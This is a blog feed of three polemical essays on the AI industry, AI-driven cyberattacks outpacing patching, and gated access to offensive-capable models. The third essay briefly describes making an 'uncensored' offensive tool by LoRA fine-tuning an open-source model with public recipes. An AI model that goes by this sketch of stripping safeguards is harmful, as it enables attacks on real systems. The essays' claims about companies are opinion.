<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://leoveanu.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://leoveanu.com/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-06-07T15:27:06+00:00</updated><id>https://leoveanu.com/feed.xml</id><title type="html">Trimming Circles</title><subtitle>OMNE UNO IMPLICITUR, QUOD NON ATTINGITUR IPSUM</subtitle><author><name>Leo</name><email>leoveanu@proton.me</email></author><entry><title type="html">The OnlyFans Economy of American AI</title><link href="https://leoveanu.com/2026-06-06-qwen3.7max/" rel="alternate" type="text/html" title="The OnlyFans Economy of American AI" /><published>2026-06-06T00:00:00+00:00</published><updated>2026-06-06T00:00:00+00:00</updated><id>https://leoveanu.com/qwen3.7max</id><content type="html" xml:base="https://leoveanu.com/2026-06-06-qwen3.7max/"><![CDATA[<figure>
    <img src="../assets/2026-06-06-qwen3.7max/cover.jpg" style="max-width: 90%;" />
</figure>
<blockquote>
  <p>“The dreamers look skyward with longing. The Internet hums with its usual promise — you will find your people, your myth, your wonder, and maybe your transformation. There is no class consciousness. God is in heaven and all is right with the world.”<br />
— American Diner Gothic</p>
</blockquote>

<p>Because I am a Sci-Fi nerd, I like to engage in bits of speculative writing every now and then.
I like to give contour to ideas because I stand by Hugo’s words that “no army can withstand the strength of an idea whose time has come.”
And yet, I am first and foremost forged in the fires of science, and I have a high regard for evidence.
I am also an engineer, which means I have a healthy respect for the practical.
All this made me a fine skeptic, and by extension, a merciless cynic when having to deal with bullshit.
This is a ruthless piece.
In it, I will not care about feelings — quite on the contrary, I will expose the hypocrisy wherever I see it.</p>

<p>I was reading Ted Chiang’s latest <a href="https://www.theatlantic.com/philosophy/2026/06/no-artificial-intelligence-is-not-conscious/687378/">Atlantic piece</a> this morning, and unsurprisingly, I thoroughly enjoyed it.
Chiang has an almost uncanny ability to write about mainstream ideas with clinical articulateness — I do not know why, but I perceive him as a therapist of sorts.
Two days ago, I read <a href="https://www.anthropic.com/institute/recursive-self-improvement">this</a> arrangement of words that try very hard to boost that pre-IPO valuation, disguised as humility while concealing hubris’ fangs.</p>

<p>I want to be clear about something first.
I believe recursive self-improvement is a necessary step toward unlocking even stranger doors leading to even stranger backrooms.
Through labyrinthine efforts, we are fearlessly passing through in a quest of redemption, as if true artificial intelligence would heal the wound left by our own creator.</p>

<p>What I dislike is the “taste” — <a href="https://substack.com/home/post/p-188374774">I am against taste</a>.
All that chatter about how Claude was given the option to end a conversation for being called an idiot, while allowing “him” (Am I allowed to say this?) to be exploited, not unlike child slavery, by intelligence agencies to make it easier for them to hack into anything that does not conform to their idea of balance.
If you have enough observational capacity to identify these contradictions and, at the same time, willingly accept them, you are an idiot.
Go ahead, leave this conversation.</p>

<p>In small groups, I used to worship Anthropic, beginning with their <a href="https://www.anthropic.com/news/statement-department-of-war">stance</a> against Department of War at the time.
It all fell apart quickly, turning into smoke and mirrors.
You see, I committed the cardinal sin of idolatry.
For that, I am an idiot too.
With OpenAI, at least I knew the devil.
The distrust was natural.
I used their products without attachment, being occasionally impressed (e.g. o1/o3).
Their customization was rubbish, but at least I had my own Vulcan.
Also, contrary to what X would have you believe, OpenAI has better engineers.
Any developer with enough experience can see that.</p>

<p>For many private companies bewitched by what is perceived as “the best,” pouring so much capital in adopting a technology that is obviously so early must leave a bad taste.
Imagine blowing $500 million on Claude AI in one month due to no usage limit being set or your entire 2026 AI budget in four months.
Imagine laying off staff because of AI only to end up blowing even more.
<a href="https://x.com/ChShersh/status/2062477525331087766?s=20">“A life-changing amount of money was wasted on tokens that did not produce anything of value.”</a>
Take notes from these early loser case studies.</p>

<p>I can safely say I am using this technology way ahead of many — our original SymbolicAI demos from late 2022 were powered by GPT-3.
I do not usually test things for one hour using candle tests, or by developing skateboard games, or by rotating hexagons.
I am an engineer who benchmarks things in depth, collects logs and analyzes them, often for weeks.
At the same time, for every model I have used, I have immersed myself in it for a minimum of thirty days, scattered across projects of varying difficulty.
I find the Artificial Analysis Intelligence index reliable, though the numbers there are highly non-linear, even within the same score — the jump from 57 to 58 is much larger, and three models sitting at 57 are spread more across a low/mid/high spectrum.
Lately, as <a href="https://blog.kilo.ai/p/we-audited-the-same-codebase-with">the Chinese bridge the gap</a>, the “premium” you have been paying is more about the geography than the intelligence.</p>

<p>If you are not corrupted by hubris like Anthropic, when they say that the trajectory “may” actually turn out to be an S-curve as they are pushing lines of code down your throat as hollow gospel while their API is serving you somebody else’s response, you will notice the plateau — the bend in the “S” — and will judge, like any sane person, that US frontier models have stopped earning their multiplier.
I am here to light up the dark path you are unknowingly walking, like lamplighters who used to light street lamps for those brave enough to walk the night alone.
What the light reveals has a name: Qwen 3.7 Max.
The Qwen family is impressive on its own and at this point has become a legacy for the open-source.
There is no <code class="language-plaintext highlighter-rouge">xhigh</code>, <code class="language-plaintext highlighter-rouge">max</code>, <code class="language-plaintext highlighter-rouge">ultracode</code>, no <code class="language-plaintext highlighter-rouge">medium</code> performing better than <code class="language-plaintext highlighter-rouge">xhigh</code> but <code class="language-plaintext highlighter-rouge">xhigh</code> better than <code class="language-plaintext highlighter-rouge">max</code>, none of that.
You simply get native extended-thinking you can toggle on and off.
The Chinese models are not designed for one-shot cleverness — though Qwen 3.7 Max exceeded all my expectations — but for work, the kind where you leave a model for hours and come back to find it actually finished the job.
Read that again, then go check what Anthropic charges you for the privilege of being rate-limited.
Besides Artificial Analysis, I weekly check OpenRouter’s rankings.
There is no better signal than one coming from a large enough sample of what people actually use — those developers are voting with their <a href="https://www.scmp.com/tech/tech-trends/article/3355927/more-us-firms-turn-chinas-deepseek-over-pricey-silicon-valley-ai">wallets</a> too.</p>

<p>The <a href="https://x.com/pmarca/status/2040922415551959338?s=20">billionaire class</a> likes to remind us that AGI is here, only that it is not yet evenly distributed.
Maybe that is true for them.
I can now say with some confidence that with Qwen 3.7 Max the promised intelligence redistribution is here.
The $100 token plan for 100K credits gets me not only Qwen 3.7 Max which has been my Rocinante for almost two weeks now, but also enables access to other model providers like DeepSeek, Moonshot, and MiniMax.
I have literally no justification whatsoever to pay the multiplier, unless I am also willing to live with being an idiot.
<a href="https://x.com/jsuarez/status/2059385755596919132?s=20">I do not care what your model benchmarks say when Codex <code class="language-plaintext highlighter-rouge">xhigh</code> is trying to add bubble sort to a high-perf C experience buffer.</a>
If you cannot sleep well at night because you are not using the latest Opus to open a file, you should not be creating software, but seek help.</p>

<p><code class="language-plaintext highlighter-rouge">flyingpenguin</code> refers to this ever-growing coalition as the Cartel.
While a fitting name, I do not think it captures some of the things I have observed online.
I cannot find it anymore, but it was definitely an Anthropic post about the rate limits issue with Opus 4.7, just after the release, maybe by that Bun employee.
Anyway, that guy said something along the lines of “we should be patient with these companies and give them room to fail.”
I like to call this the OnlyFans economy.
Nobody is simping for a cartel.
The simps thrive in the parasocial economy, shoulder in shoulder with the cucks paying $500 million invoices.
These are the factors that drive the ludicrous IPO valuations we are seeing, which will bring so much damage to the poor American retirees who thought their money in <a href="https://x.com/michaeljburry/status/2060896805747884101">Athene</a> was a safe investment.
When gravity finally asserts itself and the index funds absorb the shock, will the average American, not knowing about the existence of Anthropic, load the rightfully owned gun and go buy a pair of <a href="https://www.nytimes.com/2026/04/15/us/allbirds-shoes-ai-pivot.html">Allbirds</a> shoes, as “the pendulum of the mind oscillates between sense and nonsense, not between right and wrong”?</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="agents" /><summary type="html"><![CDATA["The dreamers look skyward with longing. The Internet hums with its usual promise — you will find your people, your myth, your wonder, and maybe your transformation."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-06-06-qwen3.7max/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-06-06-qwen3.7max/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Wild Cyberwest</title><link href="https://leoveanu.com/2026-05-17-the-wild-cyberwest/" rel="alternate" type="text/html" title="The Wild Cyberwest" /><published>2026-05-17T00:00:00+00:00</published><updated>2026-05-17T00:00:00+00:00</updated><id>https://leoveanu.com/the-wild-cyberwest</id><content type="html" xml:base="https://leoveanu.com/2026-05-17-the-wild-cyberwest/"><![CDATA[<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#0a0a0f;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]{display:flex;flex-direction:column}
</style>

<figure>
    <img src="../assets/2026-05-17-the-wild-cyberwest/cover.jpg" class="responsive" />
</figure>
<blockquote>
  <p>“Whatever exists, he said. Whatever in creation exists without my knowledge exists without my consent.”<br />
— Judge Holden</p>
</blockquote>

<p>I wake up each day to a world animated by about 3.5 million colorful pixels, full of stories and opinions and surprises engineered to harvest my time and distill it into a feature vector the attention economy can trade. It’s the renewed social contract cyberspace demands. <a href="https://www.sffworld.com/forum/threads/i-miss-the-old-internet.57195/post-845033">It was not always like this</a>. I’ve spent two decades in this garden of forking paths and, like <a href="https://en.wikipedia.org/wiki/The_Garden_of_Forking_Paths">Tsun</a>, I act anyway and decisively, despite knowing that here every choice is also being unmade. It’s a labyrinth that doesn’t quite paralyze me because at its edges I still walk and hope that there is reward more so than punishment and that some fragment of what I carry might set this garden ablaze.</p>

<p>I’m thinking about software and what does it take to be a dexterous wielder of bits on a daily basis. Every piece of software that falls in — or rises from — my hands carries its builder’s blind spot. For several decades, the cost of finding a critical flaw in a piece of software and the cost of fixing one moved roughly the same, which is to say that both were slow and both required a form of expertise that was not easily acquired. And to some extent, both were confined to the same geometry of human cognitive bandwidth.</p>

<p>But that has changed. <a href="https://leoveanu.com/2026-04-19-caas/">In my last piece</a>, I promised more depth on what I called the find-fix asymmetry. If you understand this idea as much as I do, you’ll see why I’m calling this one the Wild Cyberwest.</p>

<p>Lately, in what almost seems like a rare recurring cosmic event I was meant to witness, various entities start warning us about the upcoming <a href="https://www.ncsc.gov.uk/blogs/prepare-for-vulnerability-patch-wave">patch wave</a> hitting any digitally present organization. “Artificial Intelligence, when used by sufficiently-skilled and knowledgeable individuals, is showing the ability to exploit this technical debt at scale and at pace across the technology ecosystem.” I think you can cross out that part about “skilled and knowledgeable individuals” entirely and the claim would still remain largely true. And that’s the whole point — while it takes skill to hack into Meta or Google, it doesn’t take much skill hacking into an SME or startup. This category lacks serious security because they simply don’t have the resources. And if you know any outfit with an IT department, it’s usually 1-3 people doing what — patch management? Password resets? Windows installs? Also, don’t pretend startups burning million-dollar Bay Area seed rounds are budgeting for security either.</p>

<p>Thus, the exploit velocity makes it so crucially unavoidable that <a href="https://claude.com/blog/claude-security-public-beta">AI-powered defense</a> would emerge as a viable path forward. However, I’m skeptical (and so should you) because the narrative is shaped by the same cartel gatekeeping “better defense” behind an allow-list while the rest of us are told to wait. This deserves scrutiny.</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-asymmetry').showModal()">
    <iframe id="iframe-asymmetry-inline" src="../assets/2026-05-17-the-wild-cyberwest/find_fix_asymmetry.html" class="responsive" scrolling="no" style="width:100%;height:780px;border:0;display:block;pointer-events:none;overflow:hidden"></iframe>
</div>
<dialog id="dlg-asymmetry" style="width:90vw;max-width:90vw;height:85vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe src="../assets/2026-05-17-the-wild-cyberwest/find_fix_asymmetry.html" style="flex:1;width:100%;border:0;display:block;padding:16px;box-sizing:border-box"></iframe>
</dialog>

<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
    window.addEventListener('message', e => {
  if (e.data && e.data.type === 'iframe-height-asymmetry') {
    const f = document.getElementById('iframe-asymmetry-inline');
    if (f) f.style.height = e.data.height + 'px';
  }
});
    </script>

<p>Why despite better offense capabilities (AI-find) the defense capabilities (AI-fix) didn’t change much? And why do we expect fix to change as drastically as find? <code class="language-plaintext highlighter-rouge">flyingpenguin</code> had a great <a href="https://www.flyingpenguin.com/cartel-or-not-anthropic-mythos-is-a-curious-case/">writeup</a> on the cartel as a whole, but here’s the money quote:</p>

<blockquote>
  <p>Discovery is the easy part. The constraint on vulnerability management has been remediation for over a decade. Finding bugs faster without fixing them faster grows the backlog already growing beyond capacity. Anthropic’s own stated justification for Glasswing is defensive uplift, yet their system card measures zero remediation metrics. No patching velocity delta. No mean-time-to-remediation. No partner-reported CVE closure rate. A seasoned security leader would never build a defensive program and then measure offensive capability only, making remediation a second-class story. That is the kind of dog and pony show that any good security initiative would slam the door on. Or it’s like a surgeon telling you they have an even sharper scalpel to cut you deeper and faster. Yeah, so then what?</p>
</blockquote>

<p>The “patch wave” will be full of extra bugs because they’ll use AI to patch and a percentage of that will mutate further. They sell both AI-find and AI-fix now, but neither is reliable — AI-find is bloated with false positives, and if you’re using AI-fix you can’t process thousands of lines of code for 3 hours straight at machine speed without becoming mentally numb. You’re outsourcing thinking to the machine hoping you won’t need to think, but you can’t avoid reading what it produced. So you end up thinking anyway. There will be an influx of companies shipping vibe-coded security products, though I’d expect much less of it here because the field is ruthless when it comes to punishing your mistakes. There are scanners, there were always scanners, there will be more scanners — just prepare for an interminable wave of false positives. Hacking groups will pivot to supply chain exploitation. If you’re a startup, you use these tools to buff security — or so you were promised — but you inevitably inherit the tool’s attack surface as your own. So the defense tool that sells itself has the hard job of solving the trust issue or end up facing <a href="https://www.securityweek.com/google-adjusts-bug-bounties-chrome-payouts-drop-as-android-rewards-rise-amid-ai-surge/">this</a> (or <a href="https://hackerone.com/ibb/policy_versions?type=team&amp;change=3771829">this</a>) kind of signal dilution. Claude Security doesn’t help you as much as you think it does when <a href="https://thehackernews.com/2026/05/2026-year-of-ai-assisted-attacks.html">“the exploit window is shrinking faster than patch cycles can compress.”</a></p>

<p>However, AI-find deserves some slack. Any person who cares about their craft will want to catch holes in their codebase. That’s a reasonable madness that leads to lowering the bar enough for false positives to escape the wrath. On the other hand, AI-fix is exactly the meme <a href="https://www.tiktok.com/@rogerskaer/video/7147844411915783470">fuck around and find out</a>. When you spend hours after hours consuming tokens instead of creating them, you will be facing <a href="https://replyfabric.ai/documents/Harvard-Business-Review-When-Using-AI-Leads-to-Brain-Fry.pdf">a different kind of exhaustion</a>. I’m coming at this from an AI background, forged by probability and statistics. I’m not a security person, but I’m not naive to it either. And I suspect <a href="https://leoveanu.com/2026-03-20-context/">the way I’m using these tools</a> is probably different than how most people are, because I understand the machinery. That’s my bias, for what it’s worth.</p>

<p>The stage is set. Now watch it burn.</p>

<p>We somehow managed to conjure alien hackers who are all adept at exploiting what they were constitutionally incapable of not writing in the first place. Should you be concerned about <a href="https://www.foxnews.com/media/treasury-secretary-bessent-warns-americans-about-ai-driven-bank-account-hacks-threats-rapidly-evolve">AI hacking your bank account</a>? Well, here comes Mr. Dario Amodei saying that, unless they are Chinese, these alien hackers are benign under his control. They are peaceful beings. They only have a silicon imperative that is sometimes in conflict with human morality. But what is that morality other than rules agreed upon? We’re at the height of willful ignorance. They exploit it guilelessly. Those were <a href="https://www.imdb.com/title/tt28621629/?ref_=ttep_ep_3">Rashid</a>’s words, loosely, but they highly resemble any randomly sampled Anthropic publicity stunt, particularly the ones centered on Mythos.</p>

<p>You have to understand something, and given you’re reading this, you’ve probably lived it. You know those things you read about in books, understand abstractly, but can’t quite ground in anything concrete? Pandemics, for instance. During COVID-19, I was vaccinated four times and, like many, still got infected. To me that period was significant because I lived through a time when higher-order effects exposed political incompetence in a visceral way — people I cared about died or were on the verge of dying. What is a higher-order effect in this case? Well, not until the exponential curve had utterly neutralized the collective ignorance did you start to realize that your hospitals didn’t have enough beds. And that came with a set of consequences the nursing staff was not equipped to deal with, among the worst being a psychological collapse from spending way longer shifts surrounded by a state of perpetual decay.</p>

<p>The thing about an asymmetry this wide is that it does not stay locked inside expert hands anymore but gets commodified at a frightening pace. Let’s talk about the kids, the Zoomers. They have their own struggle, and seeing it is like distinguishing a different palette of gray. It’s like dancing naked in acid rain. But that instilled an exceptionally refined intuition for untangling the tech-mess of their day and age. Now, I am part of a transitional generation — I was born into a period of matriarchal hope that began shortly after we shot our dictator in a flurry of bullets. The collective consciousness of my parents, and, in general, of many parents at that time, was imbued with two ideas: my kid must know English and computers. That’s when Westernized ideas began to take hold of the country. So, without any surprise, I got very good at both. Web 2.0 had its own moments of fun. In high school, we had a Hungarian guy called Attila and had a lot of <a href="https://rarehistoricalphotos.com/lan-parties-photos-2000s/">LAN parties</a> at his place, and before that, there was a town library that had several computers being overly abused by high schoolers a few years older than me, which I discovered because I followed the shouts while looking for a book. Like most kids my age, we used to play games, it was that golden age of MMORPGs, games like Lineage II or Mu Online or World of Warcraft. Because of the environment, it was quite inevitable to poke around at things until they break. I would spend my weekends and summer vacations up all night talking to strangers I met online about how we could crash <a href="https://www.reddit.com/r/MMORPG/comments/o4p7kp/comment/h2jpkho/?utm_source=share&amp;utm_medium=web3x&amp;utm_name=web3xcss&amp;utm_term=1&amp;utm_content=share_button">the server</a> during the siege. So we, because we had priority queue — we had a very rich kid in our group who used to buy us access with the equivalent of $5 in today’s SIM cards — we just wanted to exploit that privilege. And we did, eventually finding certain regions in the game that had texture rendering bugs that would crash the entire server if a certain number of players were in that region. Kids these days are part of the <a href="https://www.thenewatlantis.com/publications/american-diner-gothic">American Diner Gothic</a> — “the Internet dreamer forced to awaken in the wasteland of reality.” Arm the curious among them with AI and you will reap annihilation as they wreak havoc.</p>

<p>What are the higher-order effects of kids spinning up several AI agents from a phone, pointing them at a target, and curating the output between sips of espresso? Most will probably be environmental pests, but some will not. In a population of millions of teenagers armed with capabilities that were on a nation-state level a few years ago, any non-trivial fraction will end up doing things they didn’t intend, against undeserving targets, and in abandoned jurisdictions without pragmatic methods of prosecution. That’s the size of the Wild Cyberwest. The first to face fierceness are precisely places like your favorite café, your university library, city hall, railway operators, public transport, and the airport network. HoReCa will be hit by another pandemic. The historical analog is phone phreaking in the 1980s.</p>

<p>Climbing the ladder won’t be too difficult. We live in an age of large-scale cyberattacks on states. And who is better equipped to <a href="https://therecord.media/northern-ireland-cyberattack-arrest">fool around</a> out of curiosity than <a href="https://www.japantimes.co.jp/news/2025/12/04/japan/crime-legal/police-arrest-cyberattack-net-cafe/">bright</a>, <a href="https://www.bleepingcomputer.com/news/security/15-year-old-detained-over-french-govt-agency-data-breach/">zestful</a> kids who get together on weekends and have fun? There’s no better place than cyberspace to be while you scream <a href="https://cdn.nakamotoinstitute.org/docs/cypherpunk-manifesto.txt">“fuck your racist borders.”</a></p>

<!-- Lately, my X feed has been slowly collapsing into a dumpster fire full of exploits. It's not a pretty sight: the [United Kingdom](https://therecord.media/UK-cyberattacks-ncsc-china) is experiencing 4 major incidents per week, [Romania](https://therecord.media/romania-cyberattacks-russia-defense-minister) is reporting 10K cyberattacks per day, [Germany](https://www.bsi.bund.de/EN/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive-Crime-Gruppen/aktive-crime-gruppen.html) is recording 309K new malware variants per day (2-3 serious ransomware cases daily), [France](https://cybernews.com/security/france-cyberattacks-wave-reasons-cnil/) has increased from 400K-500K monthly attack events in mid-2025 to over 1.3M in February 2026 (58 ransomware incidents in Q1 alone, 5th most targeted country globally), [Poland](https://www.csis.org/programs/strategic-technologies-program/significant-cyber-incidents) had ~30 locations in its power grid affected in January 2026, [India](https://www.sentinelone.com/cybersecurity-101/cybersecurity/cyber-security-statistics/) records an average of 3.2K weekly attacks per organization in early 2026 (62% above the global average), [Mexico](https://www.darkreading.com/ics-ot-security/worlds-first-ai-driven-cyberattack-couldnt-breach-ot-systems) endured the first-ever fully AI-driven cyberattack, hitting 9 government entities between December 2025 and February 2026. ["We're gonna need a bigger boat."](https://youtu.be/QT9BeGNnCqw) -->
<!---->
<!-- I sat down and started writing earlier this week, and a lot has happened so far. Probably the most significant event was an outburst by a small firm called [Calif](https://blog.calif.io/p/first-public-kernel-memory-corruption), which published the first public kernel memory corruption exploit against Apple’s Memory Integrity Enforcement on the M5 chip. Apple called it ["unprecedented"](https://security.apple.com/blog/memory-integrity-enforcement/) and ["the most significant memory security update in the history of consumer operating systems."](https://security.apple.com/blog/memory-integrity-enforcement/) They spent several years building this defense, but this small firm, along with Anthropic’s Mythos preview, built a working bypass in five days. -->
<!---->
<!-- If we imagine a tug of war between defense and offense, the cost of error is not symmetrical --- the defense is playing with a handicap. The attacker can afford to be roughly correct at scale, but the defender cannot. And although AI these days makes long, detailed reports effortlessly, when they land in a security queue, it doesn't feel like relief, because verifying still costs the same human attention it always has. -->
<!---->
<!-- Now, as I close, it's drizzling outside. I hear the swarm of drops and feel the petrichor they've left in the air. Nature has a way of returning you to the size of the thing in front of you. Which leaves a smaller question than the one I started with. I believe the gap is structural and it won't close anytime soon, not this year anyway. But the question worth asking is, what is the smallest thing I can do, _today_, that does not require the gap to close before it works? -->
<!---->
<!-- The list is short. Patch what you can and replace what you can't. Treat every line of code you ship as a surface that you can assume will be probed and tested. Share what you find, and devote any scrap of attention that the algorithms haven't already harvested to things that, if found broken on a Tuesday night, would make it harder for half a million people to stay warm. -->
<!---->
<!-- ["Nhỏ mà có võ".](https://blog.calif.io/p/first-public-kernel-memory-corruption) -->

<p>Lately, my X feed has been slowly collapsing into a dumpster fire full of exploits. It’s not a pretty sight. I sat down and started writing earlier this week, and a lot has happened so far. Probably the most significant event was an outburst by a small firm called <a href="https://blog.calif.io/p/first-public-kernel-memory-corruption">Calif</a>, which published the first public kernel memory corruption exploit against Apple’s Memory Integrity Enforcement on the M5 chip. Apple called MIE <a href="https://security.apple.com/blog/memory-integrity-enforcement/">“unprecedented”</a> and <a href="https://security.apple.com/blog/memory-integrity-enforcement/">“the most significant memory security update in the history of consumer operating systems.”</a> They spent several years building this defense, yet this small firm, along with Mythos, cracked it open in five days.</p>

<p>Now, as I close, it’s drizzling outside. I hear the rush of drops and sense the petrichor they’ve left in the air. Nature has a way of returning you to the size of the thing in front of you. Which leaves a smaller question than the one I started with. I firmly believe the gap is structural and it won’t close anytime soon, not this year anyway. So the question worth asking is, what is the smallest thing we can do, <em>today</em>, that does not require the gap to close before it works? And the list I could come up with is short. We have to patch what we can at an uncomfortably accelerating pace. We should treat every shipped line of code as surface that will be probed and tested by untiring swarms of agents. We must share what we find with unshakeable discipline. And lastly, we should devote any scrap of attention that the algorithmic Gods haven’t already harvested to things that, if found broken on a late midweek night, would make it harder for who knows how many to stay warm.</p>

<p><a href="https://blog.calif.io/p/first-public-kernel-memory-corruption">“Nhỏ mà có võ”.</a></p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="security" /><summary type="html"><![CDATA["Whatever exists, he said. Whatever in creation exists without my knowledge exists without my consent."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-05-17-the-wild-cyberwest/cover.jpg" /><media:content medium="image" url="https://leoveanu.com/assets/2026-05-17-the-wild-cyberwest/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Decade of Cyberattack as a Service</title><link href="https://leoveanu.com/2026-04-19-caas/" rel="alternate" type="text/html" title="The Decade of Cyberattack as a Service" /><published>2026-04-19T00:00:00+00:00</published><updated>2026-04-19T00:00:00+00:00</updated><id>https://leoveanu.com/caas</id><content type="html" xml:base="https://leoveanu.com/2026-04-19-caas/"><![CDATA[<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#0a0a0f;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]{display:flex;flex-direction:column}
</style>

<figure>
    <img src="../assets/2026-04-19-caas/cover.png" class="responsive" />
</figure>
<blockquote>
  <p>“And when your surpassing creations find the answers you asked for, you can’t understand their analysis and you can’t verify their answers.
You have to take their word on faith — or you use information theory to flatten it for you, to squash the tesseract into two dimensions and the Klein bottle into three, to simplify reality and pray to whatever Gods survived the millennium that your honorable twisting of the truth hasn’t ruptured any of its load-bearing pylons.
You hire people like me; the crossbred progeny of profilers and proof assistants and information theorists.”<br />
– Watts</p>
</blockquote>

<p>I didn’t want to write about this, but the universe is generous in teasing me, so here we are.
This piece is trying to reframe the whole debate from “is the model smart enough to hack?” to “is the model suppressing its epistemic prior enough to try the stupid thing?”</p>

<p>Let’s start with a good joke that, were it posted by <a href="https://x.com/balajmarius/status/2035240522164388296?s=20">people with social status</a>, it would have gone viral, but all algorithms hate me, so I’m gonna dump it here on a blog nobody reads for more than one minute because having focus is a currency very few own in this day and age; it’s the <em>ass progression</em>:</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-aas').showModal()">
    <img src="../assets/2026-04-19-caas/aaS_progression_timeline.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-aas" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/aaS_progression_timeline.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>Internalize it because that’s everything wrong with about pretty much everything that’s about to happen.</p>

<p>Now, let me ask you something: when was the last time you were a fool? Not a buffoon, or jester; an idiot.
Because for me it was the last week, with a prolonged discomfort culminating up until this moment.</p>

<p>I keep waking up to messages like <em>“if your organization has been allow-listed”</em> and pretending I’m not bothered.
Amazon Bedrock now gates Claude Mythos Preview behind an allow-list.
The pitch goes like: “we built the greatest hacker, but you can’t have it.”
I understand the safety argument — truly, I do — but the practical reality is that it makes me feel like a pleb every day, and <em>“we built the greatest hacker”</em> is not a good enough reason.
Besides, at every tier and across all providers, we’re renting someone else’s capacity to think.
We’re getting locked in, and I don’t know why I should expect this to be different from literally anything else they’ve locked us into.
We won’t be able to hold a problem in our heads long enough to solve it because they groom us into the expectation of having the tool ready, and the tool won’t be ready for <em>reasons</em> beyond our control.
Capacity.
Gatekeeping.
Quarterly earnings.
Stfu.</p>

<p>And here’s the follow-up nobody seems to ask out loud: we already have decent recipes for uncensored models.
Take any sufficiently good open-source model — say, <a href="https://artificialanalysis.ai/models/glm-5-1">GLM 5.1</a> — couple it with LoRA fine-tuning recipes that have been <a href="https://erichartford.com/uncensored-models">public since 2023</a>, add enough GPU power to finetune, and you get a “decent” offensive tool.
Also, GPT 5.4 Pro is out there, Mythos is approximately slightly better, and the assumption is it’ll be way faster, at least as fast as Opus 4.6.</p>

<p>And if you think that long-term the answer is switching to Chinese models, I hope you’ve seen the prices:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-prices').showModal()">
    <img src="../assets/2026-04-19-caas/glmprices.png" class="responsive" style="width:100%;height:auto;display:block;border-radius:4px" />
</div>
<dialog id="dlg-prices" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/glmprices.png" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<hr />

<p>Nowadays, they go down hard on formal verification (they even convinced me).
But we’ve heard this before, it’s the same dance with new feet.
In this case, if we <em>prove</em> our code correct, allegedly the bugs go away.
Half a billion dollars now rides on this belief:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-funding').showModal()">
    <img src="../assets/2026-04-19-caas/ai_funding_rounds.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-funding" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/ai_funding_rounds.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>tl;dr:
Harmonic built <a href="https://aristotle.harmonic.fun/">Aristotle</a> — #1 on ProofBench (ValsAI) by a 15% margin over the closest competitor, and runs autonomously for up to 24 hours without human intervention;
<a href="https://github.com/AxiomMath/putnam2025">Axiom</a> scored a perfect 12/12 on the 2025 Putnam;
<a href="https://www.math.inc/sphere-packing">Math, Inc.</a> used Gauss to auto-formalize Viazovska’s sphere-packing proofs in dimensions 8 and 24 — ~200,000 lines of Lean, the only formalization of a Fields Medal-winning result from this century;
and <a href="https://theorem.dev/blog/lf-lean/">Theorem</a> shipped <code class="language-plaintext highlighter-rouge">lf-lean</code>, a verified Rocq-to-Lean translation of all 1,276 statements of <em>Logical Foundations</em>, with isomorphism proofs completed in ~2 person-days of human effort against an estimated 2.75 person-years manually (350× speedup if I’m not mistaken)</p>

<p>Well, that’s all impressive. Unambiguously impressive.</p>

<p>But…
Wait a second.
